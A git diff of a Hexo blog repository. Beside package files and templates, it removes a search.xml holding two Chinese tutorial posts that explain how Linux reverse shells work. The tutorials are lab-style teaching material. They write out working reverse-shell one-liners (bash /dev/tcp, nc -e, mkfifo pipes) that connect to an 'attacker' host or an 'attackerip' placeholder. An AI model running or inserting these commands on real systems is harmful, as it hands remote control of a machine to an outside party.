"sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + } + } + } + }, + "transliteration": { + "version": "1.6.6", + "resolved": "https://registry.npmjs.org/transliteration/-/transliteration-1.6.6.tgz", + "integrity": "sha1-in6KswRK0Z8jP1DBWJTL9p5dIF4=", + "requires": { + "yargs": "^12.0.1" + }, + "dependencies": { + "cliui": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", + "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "requires": { + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0", + "wrap-ansi": "^2.0.0" + } + }, + "invert-kv": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-2.0.0.tgz", + "integrity": "sha512-wPVv/y/QQ/Uiirj/vh3oP+1Ww+AWehmi1g5fFWGPF6IpCBCDVrhgHRMvrLfdYcwDh3QJbGXDW4JAuzxElLSqKA==" + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" + }, + "lcid": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-2.0.0.tgz", + "integrity": "sha512-avPEb8P8EGnwXKClwsNUgryVjllcRqtMYa49NTsbQagYuT1DcXnl1915oxWjoyGrXR6zH/Y0Zc96xWsPcoDKeA==", + "requires": { + "invert-kv": "^2.0.0" + } + }, + "os-locale": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-3.1.0.tgz", + "integrity": "sha512-Z8l3R4wYWM40/52Z+S265okfFj8Kt2cC2MKY+xNi3kFs+XGI7WXu/I309QQQYbRW4ijiZ+yxs9pqEhJh0DqW3Q==", + "requires": { + "execa": "^1.0.0", + "lcid": "^2.0.0", + "mem": "^4.0.0" + } + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + } + }, + "yargs": { + "version": "12.0.5", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-12.0.5.tgz", + "integrity": "sha512-Lhz8TLaYnxq/2ObqHDql8dX8CJi97oHxrjUcYtzKbbykPtVW9WB+poxI+NM2UIzsMgNCZTIf0AQwsjK5yMAqZw==", + "requires": { + "cliui": "^4.0.0", + "decamelize": "^1.2.0", + "find-up": "^3.0.0", + "get-caller-file": "^1.0.1", + "os-locale": "^3.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1 || ^4.0.0", + "yargs-parser": "^11.1.1" + } + } + } + }, + "uglify-js": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-2.6.0.tgz", + "integrity": "sha1-JeqhzDVQ45QQzu+v0c+7a20V8AE=", + "requires": { + "async": "~0.2.6", + "source-map": "~0.5.1", + "uglify-to-browserify": "~1.0.0", + "yargs": "~3.10.0" + }, + "dependencies": { + "camelcase": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", + "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=" + }, + "cliui": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", + "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", + "requires": { + "center-align": "^0.1.1", + "right-align": "^0.1.1", + "wordwrap": "0.0.2" + } + }, + "window-size": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz", + "integrity": "sha1-VDjNLqk7IC76Ohn+iIeu58lPnJ0=" + }, + "wordwrap": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", + "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=" + }, + "yargs": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", + "integrity": "sha1-9+572FfdfB0tOMDnTvvWgdFDH9E=", + "requires": { + "camelcase": "^1.0.2", + "cliui": "^2.1.0", + "decamelize": "^1.0.0", + "window-size": "0.1.0" + } + } + } + }, + "uglify-to-browserify": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz", + "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=" + }, + "union-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.0.tgz", + "integrity": "sha1-XHHDTLW61dzr4+oM0IIHulqhrqQ=", + "requires": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^0.4.3" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "requires": { + "is-extendable": "^0.1.0" + } + }, + "set-value": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-0.4.3.tgz", + "integrity": "sha1-fbCPnT0i3H945Trzw79GZuzfzPE=", + "requires": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.1", + "to-object-path": "^0.3.0" + } + } + } + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" + }, + "unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", + "requires": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "dependencies": { + "has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", + "requires": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "dependencies": { + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "requires": { + "isarray": "1.0.0" + } + } + } + }, + "has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=" + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "upath": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.1.2.tgz", + "integrity": "sha512-kXpym8nmDmlCBr7nKdIx8P2jNBa+pBpIUFRnKJ4dr8htyYGJFokkr2ZvERRtUN+9SY+JqXouNgUPtv6JQva/2Q==", + "optional": true + }, + "upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha1-9rRQHC7EzdJrp4vnIilh3ndiFZg=" + }, + "urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=" + }, + "use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==" + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" + }, + "vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" + }, + "warehouse": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/warehouse/-/warehouse-2.2.0.tgz", + "integrity": "sha1-XQnWSUKZK+Zn2PfIagnCuK6gQGI=", + "requires": { + "JSONStream": "^1.0.7", + "bluebird": "^3.2.2", + "cuid": "~1.3.8", + "graceful-fs": "^4.1.3", + "is-plain-object": "^2.0.1", + "lodash": "^4.2.1" + } + }, + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "requires": { + "isexe": "^2.0.0" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=" + }, + "window-size": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz", + "integrity": "sha1-+OGqHuWlPsW/FR/6CXQqatdpeHY=" + }, + "wordwrap": { + "version": "0.0.3", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.3.tgz", + "integrity": "sha1-o9XabNXAvAAI03I0u68b7WMFkQc=" + }, + "wrap-ansi": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", + "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", + "requires": { + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" + }, + "dependencies": { + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "requires": { + "ansi-regex": "^2.0.0" + } + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + }, + "y18n": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", + "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=" + }, + "yallist": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", + "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" + }, + "yargs": { + "version": "3.32.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.32.0.tgz", + "integrity": "sha1-AwiOnr+edWtpdRYR0qXvWRSCyZU=", + "requires": { + "camelcase": "^2.0.1", + "cliui": "^3.0.3", + "decamelize": "^1.1.1", + "os-locale": "^1.4.0", + "string-width": "^1.0.1", + "window-size": "^0.1.4", + "y18n": "^3.2.0" + } + }, + "yargs-parser": { + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-11.1.1.tgz", + "integrity": "sha512-C6kB/WJDiaxONLJQnF8ccx9SEeoTTLek8RVbaOIsrAUS8VrBEXfmeSnCZxygc+XC2sNMBIwOOnfcxiynjHsVSQ==", + "requires": { + "camelcase": "^5.0.0", + "decamelize": "^1.2.0" + }, + "dependencies": { + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" + } + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..d2e76f7 --- /dev/null +++ b/package.json @@ -0,0 +1,23 @@ +{ + "name": "hexo-site", + "version": "0.0.0", + "private": true, + "hexo": { + "version": "3.8.0" + }, + "dependencies": { + "hexo": "^3.2.0", + "hexo-deployer-git": "^0.3.1", + "hexo-generator-archive": "^0.1.4", + "hexo-generator-category": "^0.1.3", + "hexo-generator-index": "^0.2.0", + "hexo-generator-search": "^2.4.0", + "hexo-generator-tag": "^0.2.0", + "hexo-permalink-pinyin": "^1.0.0", + "hexo-prism-plugin": "^2.3.0", + "hexo-renderer-ejs": "^0.3.0", + "hexo-renderer-marked": "^0.3.0", + "hexo-renderer-stylus": "^0.3.1", + "hexo-server": "^0.2.0" + } +} diff --git a/page/2/index.html b/page/2/index.html deleted file mode 100644 index a850013..0000000 --- a/page/2/index.html +++ /dev/null @@ -1,724 +0,0 @@ - - - - - - - - - - - - - - - - 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- - By A Cpu - -
- -
- - 花不解语还多事 石不能言最可人 - -
-
-
-
- -
-
- - -
- - - - - - -
-
- -
-
- -
- - Python网络爬虫实战之五:正则表达式 - - Python网络爬虫实战之五:正则表达式 -
-
- -
-
- - 正文:正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 -通过一个小实例来了解正则表达式的作用# 从字 - -
-
- - 2019-05-15 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - Python网络爬虫实战之四:BeautifulSoup - - Python网络爬虫实战之四:BeautifulSoup -
-
- -
-
- - 正文:Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间. -安装: pi - -
-
- - 2019-05-14 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - Python网络爬虫实战之三:基本工具库urllib和requests - - Python网络爬虫实战之三:基本工具库urllib和requests -
-
- -
-
- - Python网络爬虫实战之三:基本工具库urllib和requests一、urlliburllib简介urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。 -ur - -
-
- - 2019-05-13 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - Python网络爬虫实战之二:环境部署、基础语法、文件操作 - - Python网络爬虫实战之二:环境部署、基础语法、文件操作 -
-
- -
-
- - 一、Python的环境部署Python安装、Python的IDE安装本文不再赘述,网上有很多教程 -爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup - -Requests 是基于urllib编写的第三方 - -
-
- - 2019-05-12 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - Python网络爬虫实战之一:网络爬虫理论基础 - - Python网络爬虫实战之一:网络爬虫理论基础 -
-
- -
-
- - 一、浏览网页的基本过程和通信基础 -当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? - -简单来说这段过程发生了以下四个步骤: - -浏览器通过DNS服务器查 - -
-
- - 2019-05-11 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - sqlmap使用记录--tamper - - sqlmap使用记录--tamper -
-
- -
-
- - - - (adsbygoogle = window.adsbygoogle || []).push({ - google_ad_client: "ca-pub-3405437608986450", - - -
-
- - 2019-04-01 - - - - - - - - - -
-
- - - - -
-
- -
-
- -
- - -
-
-
- - - - - -
-
-
2 / 2
-
-
- - - - - -
-
-
- - - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/scaffolds/draft.md b/scaffolds/draft.md new file mode 100644 index 0000000..498e95b --- /dev/null +++ b/scaffolds/draft.md @@ -0,0 +1,4 @@ +--- +title: {{ title }} +tags: +--- diff --git a/scaffolds/page.md b/scaffolds/page.md new file mode 100644 index 0000000..f01ba3c --- /dev/null +++ b/scaffolds/page.md @@ -0,0 +1,4 @@ +--- +title: {{ title }} +date: {{ date }} +--- diff --git a/scaffolds/post.md b/scaffolds/post.md new file mode 100644 index 0000000..1f9b9a4 --- /dev/null +++ b/scaffolds/post.md @@ -0,0 +1,5 @@ +--- +title: {{ title }} +date: {{ date }} +tags: +--- diff --git a/search.xml b/search.xml deleted file mode 100644 index 9ba8c7e..0000000 --- a/search.xml +++ /dev/null @@ -1,459 +0,0 @@ - - - - - - - Linux 反弹shell(二)反弹shell的本质 - - /Coderzgh.github.io/2019/06/16/rebound-shell-two/ - -
  • 0X00 前言

    在上一篇文章 Linux反弹shell(一)文件描述符与重定向,我们已经讨论过了反弹shell中最核心也是相对较难理解的部分,那么接下来我们就可以正式借反弹shell的实例分析回顾前一篇文章讲的知识,并且也加深对反弹shell的理解吧。

    0X01 什么是反弹shell

    reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

    0X02 为什么要反弹shell

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

    1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

    2.它的ip会动态改变,你不能持续控制。

    3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

    0X03 反弹shell的本质是什么

    我们可以先以一个linux 下的反弹shell 的命令为例来看一下反弹shell 的命令都做了些什么,掌握了反弹的本质,再多的方法其实只是换了包装而已。

    实验环境:

    受害者:

    Ubuntu Linux ——> 192.168.146.128

    攻击者:

    Kali Linux ——> 192.168.146.129

    我们就以最常见的bash为例:
    attacker机器上执行:

    nc -lvp 2333

    victim 机器上执行:

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

    你就会看到下图:

    img

    可以看到在攻击机上出现了受害者机器的shell

    解释一下这条命令具体的含义:

    1.bash -i

    1)bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

    2)-i 这个参数表示的是产生交互式的shell

    2./dev/tcp/ip/port

    /dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

    img

    但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

    实例1:

    我们输出字符串到这个文件里

    img

    攻击机上的输出

    img

    实例2:

    攻击机上的输入

    img

    受害者机器上的输出

    img

    3.交互重定向

    注意:
    下面的内容涉及到比较复杂的重定向和文件描述符的知识,如果理解不够深入建议看完我的上一篇文章以后再来继续阅读:

    文章链接:
    Linux反弹shell(一)文件描述符与重定向

    为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
    在受害者机器上输入

    bash -i > /dev/tcp/192.168.146.129/2333

    示意图:

    img

    如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

    img

    img

    但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

    于是我们似乎还需要一条这样的指令

    bash -i < /dev/tcp/192.168.146.129/2333

    示意图:

    img

    这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

    img

    img

    现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1

    示意图:

    img

    由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.146.129/2333 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell 的功能

    如下图所示,我在攻击机上输入 ifconfig,查看到的是受害者的ip ,也就是说我们目前已经基本完成了一个反弹shell 的功能。

    img

    注意:
    但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

    img

    4. >&、&>

    这个符号在我附上链接的那篇文章中也提到了,作用就是混合输出(错误、正确输出都输出到一个地方)

    现在我们解决一下前面的问题:

    bash -i > /dev/tcp/192.168.146.129/2333 0>&1 2>&1

    img

    可以看到命令并没有回显在受害者机器上,我们的目的达成了

    img

    当然我们也可以执行与之完全等价的指令

    bash -i >& /dev/tcp/192.168.146.129/2333 0>&1

    至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质,以后碰到其他的反弹shell 的语句也能用类似的分析方法区分析,甚至我们也可以自己举一反三创造更加绝妙的反弹shell 的语句

    0X04 常见的反弹shell 的语句怎么理解

    1.方法一

    bash -i>& /dev/tcp/192.168.146.129/2333 0>&1

    bash -i>& /dev/tcp/192.168.146.129/2333 0<&1

    这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别(我在上面给出链接的文章中也特地用加粗的形式解释了)

    2.方法二

    bash -i >& /dev/tcp/192.168.146.129/2333 <&2

    等价于

    bash -i >& /dev/tcp/192.168.146.129/2333 0<&2

    示意图:

    img

    3.方法三

    exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

    简单的解释一下:

    exec 5<>/dev/tcp/192.168.146.129/2333

    这一句将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333 并且方式是读写方式(这种方法在我的前面的文章中也讲到过),于是我们就能通过文件描述符对这个socket连接进行操作了

    command|while read line do .....done

    这个是一个非常经典的句子,它的原句是这样的

    while read linedo       …done < file

    从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。

    而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。

    与之完全类似的还有下面这条指令,读者有兴趣可以自己分析一下:

    0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

    4.方法四

    nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

    nc -e /bin/sh 192.168.146.129 2333

    但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

    简单的解释:

    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

    类似的命令:

    mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    0X05 总结

    反弹shell方法虽然常见,方法网上一搜就是一大把的代码,但是很少有人会去仔细斟酌反弹shell的原理,我也看到有类似的文章,但是可能是由于篇幅原因并没有对文件描述符和重定向的部分做深入的讨论,导致解释语句的时候依然让人不好理解,于是这次我分成了两篇有所关联的文章彻底的剖析了一下,个人认为这个原理是非常值得大家思考的,也很有趣,如果我的文章有什么地方有问题,希望大家及时联系我。

    个人博客: http://www.k0rz3n.com

    0X06 参考链接

    https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html
    http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
    https://blog.csdn.net/roler_/article/details/17504039
    http://www.freebuf.com/articles/system/153986.html
    https://www.zhihu.com/question/24503813

  • ]]>
    - - - - - shell - - - - - - - 反弹shell - - - -
    - - - - - Linux反弹shell(一)文件描述符与重定向 - - /Coderzgh.github.io/2019/06/15/rebound-shell-one/ - -
  • 0X00 前言

    由于在反弹shell的过程中有一些非常精简的语句,但是一直没有深入理解,只是作为一个伸手党/搬运工,于是下定决心要将其弄明白,而这里面最难的也就是文件描述符和重定向的部分,因此我特地写一篇文章单独解释这个问题。

    0X01 文件描述符

    linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

    当Linux启动的时候会默认打开三个文件描述符,分别是:

    标准输入standard input 0 (默认设备键盘)
    标准输出standard output 1(默认设备显示器)
    错误输出:error output 2(默认设备显示器)

    img

    注意:

    (1)以后再打开文件,描述符可以依次增加
    (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符。

    文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

    一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

    0X02 重定向

    重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

    (1)输入重定向 < <<
    (2)输出重定向 > >>

    重点:

    1.bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向(之前说过了,输入输出操作都是依赖文件描述符实现的,重定向输入输出本质上就是重定向文件描述符),然后在把重定向去掉,执行指令

    2.如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

    3.< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

    4.再强调一下,重定向就是针对文件描述符的操作

    1.输入重定向

    格式: [n]< word (注意[n]与<之间没有空格)

    说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)

    img

    img

    解释: 解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了。(有没有觉得这个其实就是C语言中的指针或者文件句柄,就是将0这个指针指向了不同的地址,自然有不同的输入)

    图示:

    img

    2.输出重定向

    格式: [n]> word

    img

    img

    说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)

    图示:

    img

    3.标准输出与标准错误输出重定向

    格式: &> word >& word

    说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)

    img

    解释:我们首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。

    图示:

    img

    4.文件描述符的复制

    格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)

    说明:

    1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

    因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)

    2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符

    这里就可以用上面的例子作为演示,将错误和正确的输出都输入到文件中

    重点:

    之前我们说过,重定向符号的顺序不能随便换,因为系统是从左到右执行的,我们下面就举一个例子

    (1)cmd > file 2>&1
    (2)cmd 2>&1 >file

    与第一条指令类似的指令在上面我已经介绍过了,我们现在就来看看第二条指令的执行过程

    1.首先解析器解析到 2>&1

    img

    2.解析器再向后解析到 “>”

    img

    5.exec 绑定重定向

    格式:exec [n] </> file/[n]

    上面的输入输出重定向将输入和输出绑定文件或者设备以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令

    重点:

    格式: [n]<>word

    说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入。

    img

    img

    0X03 总结

    文件描述符和重定向的作用巨大,很好的体现出了Linux中一切皆文件的特性,在反弹shell建立交互通道的过程中也起到了至关重要的作用。

    个人博客: http://www.k0rz3n.com

    0X04 参考链接

    https://blog.csdn.net/ccwwff/article/details/48519119
    http://www.cnblogs.com/chengmo/archive/2010/10/20/1855805.html
    http://www.178linux.com/54471

  • ]]>
    - - - - - shell - - - - - - - 反弹shell - - - -
    - - - - - - - /Coderzgh.github.io/2019/06/11/cve-2019-0708-lou-dong-qian-xi/ - - 关于CVE-2019-0708漏洞浅析,和POC验证整理

    1. 漏洞情况:

